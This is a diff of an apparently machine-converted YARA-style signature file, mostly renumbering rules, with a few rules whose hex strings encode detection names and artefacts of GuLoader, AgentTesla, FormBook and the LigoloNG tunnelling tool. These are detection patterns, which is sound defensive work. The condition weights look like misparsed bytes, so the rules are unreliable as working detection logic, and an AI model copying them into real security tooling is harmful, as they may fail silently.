-211470,7 +225463,7 @@ rule _InfrastructureShared_17660{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_17661{ +rule _InfrastructureShared_18810{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -211482,7 +225475,7 @@ rule _InfrastructureShared_17661{ ((#a_46_0 & 1)*16675+(#a_44_1 & 1)*32141+(#a_63_2 & 1)*30054) >=1 } -rule _InfrastructureShared_17662{ +rule _InfrastructureShared_18811{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 0a 00 21 " @@ -211500,7 +225493,7 @@ rule _InfrastructureShared_17662{ ((#a_54_0 & 1)*18467+(#a_c2_1 & 1)*24068+(#a_01_2 & 1)*-17934+(#a_24_3 & 1)*-30428+(#a_04_4 & 1)*-28671+(#a_f9_5 & 1)*3841+(#a_00_7 & 1)*99+(#a_00_8 & 1)*99+(#a_54_9 & 1)*21076) >=1 } -rule _InfrastructureShared_17663{ +rule _InfrastructureShared_18812{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -211511,7 +225504,7 @@ rule _InfrastructureShared_17663{ ((#a_46_0 & 1)*16675+(#a_02_1 & 1)*-28419) >=2 } -rule _InfrastructureShared_17664{ +rule _InfrastructureShared_18813{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -211522,7 +225515,7 @@ rule _InfrastructureShared_17664{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*32) >=4 } -rule _InfrastructureShared_17665{ +rule _InfrastructureShared_18814{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -211535,7 +225528,7 @@ rule _InfrastructureShared_17665{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*2397+(#a_00_2 & 1)*4957+(#a_17_3 & 1)*4352) >=4 } -rule _InfrastructureShared_17666{ +rule _InfrastructureShared_18815{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -211548,7 +225541,7 @@ rule _InfrastructureShared_17666{ ((#a_46_0 & 1)*21283+(#a_8b_1 & 1)*400+(#a_89_2 & 1)*856+(#a_20_3 & 1)*19593) >=4 } -rule _InfrastructureShared_17667{ +rule _InfrastructureShared_18816{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -211560,7 +225553,7 @@ rule _InfrastructureShared_17667{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*97+(#a_00_4 & 1)*82) >=5 } -rule _InfrastructureShared_17668{ +rule _InfrastructureShared_18817{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -211574,7 +225567,7 @@ rule _InfrastructureShared_17668{ ((#a_54_0 & 1)*18467+(#a_2b_1 & 1)*4886+(#a_04_2 & 1)*1809+(#a_11_3 & 1)*2579+(#a_11_4 & 1)*4864) >=5 } -rule _InfrastructureShared_17669{ +rule _InfrastructureShared_18818{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " @@ -211590,7 +225583,7 @@ rule _InfrastructureShared_17669{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*13931+(#a_6c_2 & 1)*28500+(#a_65_3 & 1)*26185+(#a_63_4 & 1)*28019+(#a_74_5 & 1)*21828+(#a_20_6 & 1)*25970) >=5 } -rule _InfrastructureShared_17670{ +rule _InfrastructureShared_18819{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 0a 00 21 " @@ -211609,7 +225602,7 @@ rule _InfrastructureShared_17670{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*11858+(#a_74_2 & 1)*30496+(#a_61_3 & 1)*264+(#a_01_4 & 1)*7936+(#a_61_5 & 1)*29486+(#a_48_6 & 1)*8448+(#a_69_7 & 1)*23587+(#a_73_8 & 1)*29285+(#a_5c_9 & 1)*10241) >=5 } -rule _InfrastructureShared_17671{ +rule _InfrastructureShared_18820{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -211625,7 +225618,7 @@ rule _InfrastructureShared_17671{ ((#a_54_0 & 1)*18467+(#a_5c_1 & 1)*25710+(#a_74_2 & 1)*25701+(#a_39_3 & 1)*0+(#a_00_4 & 1)*27493+(#a_5c_5 & 1)*385+(#a_6e_6 & 1)*28206) >=7 } -rule _InfrastructureShared_17672{ +rule _InfrastructureShared_18821{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -211642,7 +225635,7 @@ rule _InfrastructureShared_17672{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*14649+(#a_6c_2 & 1)*24833+(#a_65_3 & 1)*24938+(#a_32_4 & 1)*19819+(#a_51_5 & 1)*25711+(#a_00_6 & 1)*10+(#a_61_7 & 1)*28530) >=8 } -rule _InfrastructureShared_17673{ +rule _InfrastructureShared_18822{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 0c 00 21 " @@ -211654,35 +225647,54 @@ rule _InfrastructureShared_17673{ $a_00_4 = {0a 00 21 23 48 53 54 52 3a 54 } //10 $a_61_5 = {3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 52 56 21 4d 54 42 00 01 00 27 81 01 5c 62 6f 72 69 73 5c 65 74 68 79 6e 79 6c 61 74 69 6f 6e 5c 64 69 73 70 72 6f 70 6f 72 74 69 6f 6e 61 6c 6e 65 73 73 01 00 1e 81 01 5c 53 79 72 69 6f 6c 6f 67 69 73 74 31 39 38 5c 74 68 79 6d 65 63 74 6f 6d 79 2e 64 61 6c 01 00 1e } //28530 $a_50_6 = {62 65 72 74 65 74 73 61 6c 64 65 72 65 6e 5c 63 6c 6f 73 69 6e 67 73 2e 69 6e 69 01 00 17 81 01 5c 73 76 65 64 65 6b 75 72 73 5c 65 71 75 69 64 69 76 69 73 69 6f 6e 01 00 0e 81 01 46 6f 72 6d 79 6e 64 65 72 69 2e 74 78 74 01 00 11 81 01 49 6e 66 69 72 6d 69 74 69 65 73 32 37 } //385 - $a_69_7 = {00 0b 81 01 4c 6f 62 75 6c 65 73 2e 6b 6f 6e 01 00 14 81 01 54 61 6c 62 65 68 61 6e 64 6c 69 6e 67 65 6e 73 2e 69 6e 69 01 00 0e 81 01 64 72 65 61 72 69 68 65 61 64 2e 74 78 74 01 00 14 81 01 64 72 6d 6d 65 74 79 64 6e 69 6e 67 65 72 6e 65 2e 6e 61 74 00 00 78 39 01 00 0d 00 0d 00 0d 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a } //26926 - $a_4c_8 = {41 67 65 6e 74 54 65 73 6c 61 2e 52 56 41 30 37 21 4d 54 42 00 01 00 33 01 61 52 33 6e 62 66 38 64 51 70 32 66 65 4c 6d 6b 33 31 2e 6c 53 66 67 41 70 61 74 6b 64 78 73 56 63 47 63 72 6b 74 6f 46 64 2e 72 65 73 6f 75 72 } //21325 - $a_01_9 = {00 2d 01 44 65 70 6c 6f 79 65 72 45 6e 67 69 6e 65 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 06 01 42 69 74 6d 61 70 01 00 08 01 47 65 74 50 69 78 65 6c 01 00 07 01 54 6f 57 69 6e 33 32 01 00 08 01 54 6f 53 74 72 69 6e 67 01 00 0f 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 01 00 0f } //25955 - $a_65_10 = {74 65 45 6e 63 72 79 70 74 6f 72 01 00 0f 01 46 6c 75 73 68 46 69 6e 61 6c 42 6c 6f 63 6b 01 00 10 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 0e 01 54 6f 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 07 01 43 6f 6e 76 65 72 74 01 00 06 01 52 65 6d 6f 76 65 00 00 78 39 01 00 0d 00 0d 00 0d 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e } //17153 - $a_49_11 = {2f 46 6f 72 6d 42 6f 6f 6b 2e 50 52 45 45 32 38 33 21 4d 54 42 00 01 00 16 81 01 41 77 61 69 74 55 6e 73 61 66 65 4f 6e 43 6f 6d 70 6c 65 74 65 64 01 00 09 81 01 47 65 74 52 65 73 75 6c 74 01 00 07 81 01 47 65 74 54 79 70 65 01 00 09 81 01 47 65 74 } //19770 + $a_69_7 = {00 0b 81 01 4c 6f 62 75 6c 65 73 2e 6b 6f 6e 01 00 14 81 01 54 61 6c 62 65 68 61 6e 64 6c 69 6e 67 65 6e 73 2e 69 6e 69 01 00 0e 81 01 64 72 65 61 72 69 68 65 61 64 2e 74 78 74 01 00 14 81 01 64 72 6d 6d 65 74 79 64 6e 69 6e 67 65 72 6e 65 2e 6e 61 74 00 00 78 39 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 } //26926 + $a_61_8 = {65 72 2e 4c 4b 56 30 31 21 4d 54 42 00 01 00 26 81 01 5c 53 69 64 65 65 66 66 65 6b 74 65 72 6e 65 73 5c 50 72 73 65 6e 74 61 62 6c 65 72 65 5c 73 68 6f 72 74 65 6e 73 01 00 18 81 01 5c 73 65 78 66 69 6b 73 65 72 65 74 73 5c 6f 73 69 65 72 73 2e 68 74 6d 01 00 15 81 01 64 6f 6c 6f 6d 69 74 69 7a 65 5c 48 79 70 65 72 70 6c 61 73 69 } //27765 + $a_81_9 = {70 72 69 6e 73 65 73 73 65 72 6e 65 73 2e 70 69 6c } //1 prinsessernes.pil + $a_81_10 = {70 72 6f 74 65 73 65 72 6e 65 73 2e 6b 75 6e } //1 protesernes.kun + $a_81_11 = {68 79 61 6c 6f 61 6e 64 65 73 69 74 65 20 61 6e 69 73 65 69 6b 6f 6e 69 63 } //1 hyaloandesite aniseikonic condition: - ((#a_46_0 & 1)*16675+(#a_50_1 & 1)*12920+(#a_64_2 & 1)*-32499+(#a_51_3 & 1)*25711+(#a_00_4 & 1)*10+(#a_61_5 & 1)*28530+(#a_50_6 & 1)*385+(#a_69_7 & 1)*26926+(#a_4c_8 & 1)*21325+(#a_01_9 & 1)*25955+(#a_65_10 & 1)*17153+(#a_49_11 & 1)*19770) >=8 + ((#a_46_0 & 1)*16675+(#a_50_1 & 1)*12920+(#a_64_2 & 1)*-32499+(#a_51_3 & 1)*25711+(#a_00_4 & 1)*10+(#a_61_5 & 1)*28530+(#a_50_6 & 1)*385+(#a_69_7 & 1)*26926+(#a_61_8 & 1)*27765+(#a_81_9 & 1)*1+(#a_81_10 & 1)*1+(#a_81_11 & 1)*1) >=8 } -rule _InfrastructureShared_17674{ +rule _InfrastructureShared_18823{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 52 56 21 4d 54 42 00 01 00 27 81 01 5c 62 6f 72 69 73 5c 65 74 68 79 6e 79 6c 61 74 69 6f 6e 5c 64 69 73 70 72 6f 70 6f 72 74 69 6f 6e 61 6c 6e 65 73 73 01 00 1e 81 01 5c 53 79 } //18467 $a_6c_1 = {67 69 73 74 31 39 38 5c 74 68 79 6d 65 63 74 6f 6d 79 2e 64 61 6c 01 00 1e 81 01 5c 50 75 62 65 72 74 65 74 73 61 6c 64 65 72 65 6e 5c 63 6c 6f 73 69 6e 67 73 2e 69 6e 69 01 00 17 81 01 5c 73 76 65 64 65 6b 75 72 73 5c 65 71 75 69 64 69 76 69 73 69 6f 6e 01 00 0e 81 01 46 6f 72 6d 79 6e 64 65 72 69 2e 74 78 74 01 00 11 81 01 49 6e } //26994 - $a_6d_2 = {74 69 65 73 32 37 2e 69 6e 69 01 00 0b 81 01 4c 6f 62 75 6c 65 73 2e 6b 6f 6e 01 00 14 81 01 54 61 6c 62 65 68 61 6e 64 6c 69 6e 67 65 6e 73 2e 69 6e 69 01 00 0e 81 01 64 72 65 61 72 69 68 65 61 64 2e 74 78 74 01 00 14 81 01 64 72 6d 6d 65 74 79 64 6e 69 6e 67 65 72 6e 65 2e 6e 61 74 00 00 78 39 01 00 0d 00 0d 00 0d 00 21 23 48 53 54 52 3a } //26982 - $a_6a_3 = {6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 56 41 30 37 21 4d 54 42 00 01 00 33 01 61 52 33 6e 62 66 38 64 51 70 32 66 65 4c 6d 6b 33 31 2e 6c 53 66 67 41 70 61 74 6b 64 78 73 56 63 47 63 72 6b 74 6f 46 64 2e 72 65 73 6f 75 72 63 65 73 01 00 2d 01 44 65 70 6c 6f 79 65 72 45 6e 67 69 6e 65 2e 50 72 6f 70 65 72 74 69 65 } //29268 - $a_65_4 = {6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 06 01 42 69 74 6d 61 70 01 00 08 01 47 65 74 50 69 78 65 6c 01 00 07 01 54 6f 57 69 6e 33 32 01 00 08 01 54 6f 53 74 72 69 6e 67 01 00 0f 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 01 00 } //11891 - $a_72_5 = {61 74 65 45 6e 63 72 79 70 74 6f 72 01 00 0f 01 46 6c 75 73 68 46 69 6e 61 6c 42 6c 6f 63 6b 01 00 10 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 0e 01 54 6f 42 61 73 65 36 34 53 74 72 69 } //271 - $a_00_6 = {07 } //26478 - $a_6e_7 = {65 72 74 01 00 06 01 52 65 6d 6f 76 65 00 00 78 39 01 00 0d 00 0d 00 0d 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 46 6f 72 6d 42 6f 6f 6b 2e 50 52 45 45 32 38 33 21 4d 54 42 00 01 00 16 81 01 41 77 61 69 74 55 6e 73 61 66 65 4f 6e 43 6f 6d 70 6c 65 74 65 64 01 00 09 81 01 47 65 74 52 65 73 75 6c 74 01 00 07 81 01 } //17153 - $a_54_8 = {70 65 01 00 09 81 01 47 65 74 4d 65 74 68 6f 64 01 00 06 81 01 49 6e 76 6f 6b 65 01 00 0c 81 01 53 65 74 45 78 63 65 70 74 69 6f 6e 01 00 07 81 01 54 6f 49 6e 74 33 32 01 00 11 81 01 47 65 74 42 79 74 65 41 72 72 61 79 41 73 79 6e 63 01 00 0c 81 01 73 74 61 74 65 4d 61 63 68 69 6e 65 01 00 16 81 01 41 73 79 6e 63 54 61 73 6b 4d 65 74 68 6f 64 42 } //25927 - $a_64_9 = {72 01 00 18 81 01 2e 4f 69 6a 67 72 65 2b 3c 45 68 6a 66 65 41 73 79 6e 63 3e 64 5f 5f 30 01 00 1a 81 01 2e 52 45 67 69 6f 6a 72 67 2b 3c 4b 69 6a 6f 67 72 65 69 6f 6a 3e 64 5f 5f 30 01 00 1b 81 01 2e 52 45 67 69 6f 6a 72 67 2b 3c 4b 69 6a 70 67 72 65 69 6a 72 67 3e 64 5f 5f 31 00 00 78 39 01 00 16 00 16 00 07 00 21 23 41 } //26997 + $a_6d_2 = {74 69 65 73 32 37 2e 69 6e 69 01 00 0b 81 01 4c 6f 62 75 6c 65 73 2e 6b 6f 6e 01 00 14 81 01 54 61 6c 62 65 68 61 6e 64 6c 69 6e 67 65 6e 73 2e 69 6e 69 01 00 0e 81 01 64 72 65 61 72 69 68 65 61 64 2e 74 78 74 01 00 14 81 01 64 72 6d 6d 65 74 79 64 6e 69 6e 67 65 72 6e 65 2e 6e 61 74 00 00 78 39 01 00 0a 00 0a 00 0a 00 21 23 48 53 54 52 3a } //26982 + $a_33_3 = {2f 47 75 6c 6f 61 64 65 72 2e 4c 4b 56 30 31 21 4d 54 42 00 01 00 26 81 01 5c 53 69 64 65 65 66 66 65 6b 74 65 72 6e 65 73 5c 50 72 73 65 6e 74 61 62 6c 65 72 65 5c 73 68 6f 72 74 65 6e 73 01 00 18 81 01 5c 73 65 78 66 69 6b 73 65 72 65 74 73 5c 6f 73 69 65 72 73 2e 68 74 6d 01 00 15 81 01 64 6f 6c 6f 6d 69 74 69 7a 65 5c 48 79 } //26967 + $a_70_4 = {61 73 69 01 00 11 81 01 70 72 69 6e 73 65 73 73 65 72 6e 65 73 2e 70 69 6c 01 00 0f 81 01 70 72 6f 74 65 73 65 72 6e 65 73 2e 6b 75 6e 01 00 19 81 01 68 79 61 6c 6f 61 6e 64 65 73 69 74 65 20 61 6e 69 73 65 69 6b 6f 6e 69 63 01 00 1b 81 01 61 6c 64 65 72 73 74 69 6c 6c 67 67 65 6e 65 73 20 6f 72 6f 6c 6f 67 69 63 61 6c 01 00 14 81 01 70 72 } //25968 + $a_64_5 = {73 69 67 6e 20 6e 61 6b 65 64 69 73 68 01 00 0a 81 01 6c 75 63 72 65 73 2e 65 78 65 01 00 1a 81 01 6c 65 76 65 72 69 6e 67 73 74 69 64 20 69 6e 74 65 67 72 61 6c 6b 75 72 76 65 00 00 78 39 01 00 0d 00 0d 00 0d 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 56 41 30 37 21 4d 54 42 00 01 00 33 01 61 } //28265 + $a_62_6 = {38 64 51 70 32 66 65 4c 6d 6b 33 31 2e 6c 53 66 67 41 70 61 74 6b 64 78 73 56 63 47 63 72 6b 74 6f 46 64 2e 72 65 73 6f 75 72 63 65 73 01 00 2d 01 44 65 70 6c 6f 79 65 72 45 6e 67 69 6e 65 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 06 01 42 69 74 6d 61 70 01 00 08 01 47 65 } //13138 + $a_78_7 = {6c 01 00 07 01 54 6f 57 69 6e 33 32 01 00 08 01 54 6f 53 74 72 69 6e 67 01 00 0f 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 01 00 0f 01 43 72 65 61 74 65 45 6e 63 72 79 70 74 6f 72 01 00 0f 01 46 6c 75 73 68 46 69 6e 61 6c 42 6c 6f 63 6b 01 00 10 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 0e 01 } //20596 + $a_61_8 = {65 36 34 53 74 72 69 6e 67 01 00 07 01 43 6f 6e 76 65 72 74 01 00 06 01 52 65 6d 6f 76 65 00 00 78 39 01 00 0d 00 0d 00 0d 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 46 6f 72 6d 42 } //28500 + $a_2e_9 = {52 45 45 32 38 33 21 4d 54 42 00 01 00 16 81 01 41 77 61 69 74 55 6e 73 61 66 65 4f 6e 43 6f 6d 70 6c 65 74 65 64 01 00 09 81 01 47 65 74 52 65 73 75 6c 74 01 00 07 81 01 47 65 74 54 79 70 65 01 00 09 81 01 47 65 74 4d 65 74 68 6f 64 01 00 06 81 01 49 6e 76 6f 6b 65 01 00 0c 81 01 53 65 74 45 78 63 65 70 74 69 6f 6e 01 } //28527 condition: - ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*26994+(#a_6d_2 & 1)*26982+(#a_6a_3 & 1)*29268+(#a_65_4 & 1)*11891+(#a_72_5 & 1)*271+(#a_00_6 & 1)*26478+(#a_6e_7 & 1)*17153+(#a_54_8 & 1)*25927+(#a_64_9 & 1)*26997) >=10 + ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*26994+(#a_6d_2 & 1)*26982+(#a_33_3 & 1)*26967+(#a_70_4 & 1)*25968+(#a_64_5 & 1)*28265+(#a_62_6 & 1)*13138+(#a_78_7 & 1)*20596+(#a_61_8 & 1)*28500+(#a_2e_9 & 1)*28527) >=10 } -rule _InfrastructureShared_17675{ +rule _InfrastructureShared_18824{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 4b 56 30 31 21 4d 54 42 00 01 00 26 81 01 5c 53 69 64 65 65 66 66 65 6b 74 65 72 6e 65 73 5c 50 72 73 65 6e 74 61 62 6c 65 72 65 5c 73 68 6f 72 74 65 6e 73 01 00 18 81 01 5c 73 65 78 66 69 6b 73 65 } //18467 + $a_73_1 = {6f 73 69 65 72 73 2e 68 74 6d 01 00 15 81 01 64 6f 6c 6f 6d 69 74 69 7a 65 5c 48 79 70 65 72 70 6c 61 73 69 01 00 11 81 01 70 72 69 6e 73 65 73 73 65 72 6e 65 73 2e 70 69 6c 01 00 0f 81 01 70 72 6f 74 65 73 65 72 6e 65 73 2e 6b 75 6e 01 00 19 81 01 68 79 61 6c 6f 61 6e 64 65 73 69 74 65 20 61 6e 69 73 65 69 6b 6f 6e 69 63 01 00 1b 81 01 61 6c 64 } //25970 + $a_74_2 = {6c 6c 67 67 65 6e 65 73 20 6f 72 6f 6c 6f 67 69 63 61 6c 01 00 14 81 01 70 72 69 6e 74 64 65 73 69 67 6e 20 6e 61 6b 65 64 69 73 68 01 00 0a 81 01 6c 75 63 72 65 73 2e 65 78 65 01 00 1a 81 01 6c 65 76 65 72 69 6e 67 73 74 69 64 20 69 6e 74 65 67 72 61 6c 6b 75 72 76 65 00 00 78 39 01 00 0d 00 0d 00 0d 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e } //29285 + $a_49_3 = {2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 56 41 30 37 21 4d 54 42 00 01 00 33 01 61 52 33 6e 62 66 38 64 51 70 32 66 65 4c 6d 6b 33 31 2e 6c 53 66 67 41 70 61 74 6b 64 78 73 56 63 47 63 72 6b 74 6f 46 64 2e 72 65 73 6f 75 72 63 65 73 01 00 2d 01 44 65 } //19770 + $a_79_4 = {72 45 6e 67 69 6e 65 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 06 01 42 69 74 6d 61 70 01 00 08 01 47 65 74 50 69 78 65 6c 01 00 07 01 54 6f 57 69 6e 33 32 01 00 08 01 54 6f 53 74 72 69 6e 67 01 00 0f 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 01 00 0f 01 43 72 65 61 74 } //27760 + $a_63_5 = {79 70 74 6f 72 01 00 0f 01 46 6c 75 73 68 46 69 6e 61 6c 42 6c 6f 63 6b 01 00 10 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 0e 01 54 6f 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 07 01 43 6f 6e 76 65 72 74 01 00 06 01 52 65 6d 6f 76 65 00 00 78 39 01 00 0d 00 0d 00 0d 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d } //17765 + $a_2f_6 = {6f 72 6d 42 6f 6f 6b 2e 50 52 45 45 32 38 33 21 4d 54 42 00 01 00 16 81 01 41 77 61 69 74 55 6e 73 61 66 65 4f 6e 43 6f 6d 70 6c 65 74 65 64 01 00 09 81 01 47 65 74 52 65 73 75 6c 74 01 00 07 81 01 47 65 74 54 79 70 65 01 00 09 } //18771 + $a_65_7 = {4d 65 74 68 6f 64 01 00 06 81 01 49 6e 76 6f 6b 65 01 00 0c 81 01 53 65 74 45 78 63 65 70 74 69 6f 6e 01 00 07 81 01 54 6f 49 6e 74 33 32 01 00 11 81 01 47 65 74 42 79 74 65 41 72 72 61 79 41 73 79 6e 63 01 00 0c } //385 + $a_74_8 = {74 65 4d 61 63 68 69 6e 65 01 00 16 81 01 41 73 79 6e 63 54 61 73 6b 4d 65 74 68 6f 64 42 75 69 6c 64 65 72 01 00 18 81 01 2e 4f 69 6a 67 72 65 2b 3c 45 68 6a 66 65 41 73 79 6e 63 3e 64 5f 5f 30 01 00 1a 81 01 2e 52 45 67 69 6f 6a 72 67 2b 3c 4b 69 6a 6f 67 72 65 69 6f 6a 3e 64 5f 5f 30 01 00 1b 81 01 2e 52 45 67 69 6f 6a 72 67 2b 3c 4b 69 6a } //385 + $a_65_9 = {6a 72 67 3e 64 5f 5f 31 00 00 78 39 01 00 16 00 16 00 07 00 21 23 41 4c 46 50 45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 36 34 2f 4c 69 67 6f 6c 6f 4e 47 2e 41 21 64 68 61 00 0a 00 37 01 2f 68 6f 6d 65 2f 72 75 6e 6e 65 72 2f 77 6f 72 6b 2f 6c 69 67 6f 6c 6f 2d 6e 67 2f 6c 69 67 6f 6c 6f 2d 6e 67 2f 63 6d 64 2f 61 67 65 6e 74 2f 6d 61 69 } //26480 + condition: + ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*25970+(#a_74_2 & 1)*29285+(#a_49_3 & 1)*19770+(#a_79_4 & 1)*27760+(#a_63_5 & 1)*17765+(#a_2f_6 & 1)*18771+(#a_65_7 & 1)*385+(#a_74_8 & 1)*385+(#a_65_9 & 1)*26480) >=10 + +} +rule _InfrastructureShared_18825{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 0d 00 21 " @@ -211704,7 +225716,7 @@ rule _InfrastructureShared_17675{ ((#a_54_0 & 1)*18467+(#a_63_1 & 1)*30063+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_39_8 & 1)*0+(#a_6b_9 & 1)*30318+(#a_41_10 & 1)*26218+(#a_36_11 & 1)*26967+(#a_2f_12 & 1)*28003) >=13 } -rule _InfrastructureShared_17676{ +rule _InfrastructureShared_18826{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 0d 00 21 " @@ -211726,7 +225738,7 @@ rule _InfrastructureShared_17676{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*31060+(#a_6c_2 & 1)*30018+(#a_41_3 & 1)*8448+(#a_01_4 & 1)*10+(#a_01_5 & 1)*10+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_39_11 & 1)*0+(#a_00_12 & 1)*115) >=13 } -rule _InfrastructureShared_17677{ +rule _InfrastructureShared_18827{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,16 00 16 00 07 00 21 " @@ -211741,7 +225753,7 @@ rule _InfrastructureShared_17677{ ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*25709+(#a_61_2 & 1)*25709+(#a_63_3 & 1)*26739+(#a_73_4 & 1)*24944+(#a_00_6 & 1)*116) >=22 } -rule _InfrastructureShared_17678{ +rule _InfrastructureShared_18828{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,2c 01 2c 01 03 00 21 " @@ -211752,7 +225764,7 @@ rule _InfrastructureShared_17678{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*115) >=300 } -rule _InfrastructureShared_17679{ +rule _InfrastructureShared_18829{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -211763,7 +225775,7 @@ rule _InfrastructureShared_17679{ ((#a_4c_0 & 1)*21539+(#a_90_1 & 1)*-14656) >=2 } -rule _InfrastructureShared_17680{ +rule _InfrastructureShared_18830{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -211775,7 +225787,7 @@ rule _InfrastructureShared_17680{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*99+(#a_43_2 & 1)*25600) >=2 } -rule _InfrastructureShared_17681{ +rule _InfrastructureShared_18831{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 07 00 21 " @@ -211790,7 +225802,7 @@ rule _InfrastructureShared_17681{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*31090+(#a_61_2 & 1)*19488+(#a_52_4 & 1)*21320+(#a_00_5 & 1)*-256+(#a_00_6 & 1)*0) >=3 } -rule _InfrastructureShared_17682{ +rule _InfrastructureShared_18832{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -211801,7 +225813,7 @@ rule _InfrastructureShared_17682{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*0) >=4 } -rule _InfrastructureShared_17683{ +rule _InfrastructureShared_18833{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -211813,7 +225825,7 @@ rule _InfrastructureShared_17683{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*0+(#a_0a_2 & 1)*2560) >=4 } -rule _InfrastructureShared_17684{ +rule _InfrastructureShared_18834{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -211826,7 +225838,7 @@ rule _InfrastructureShared_17684{ ((#a_54_0 & 1)*18467+(#a_46_1 & 1)*25717+(#a_31_2 & 1)*12633+(#a_47_3 & 1)*26988) >=5 } -rule _InfrastructureShared_17685{ +rule _InfrastructureShared_18835{ meta: description = 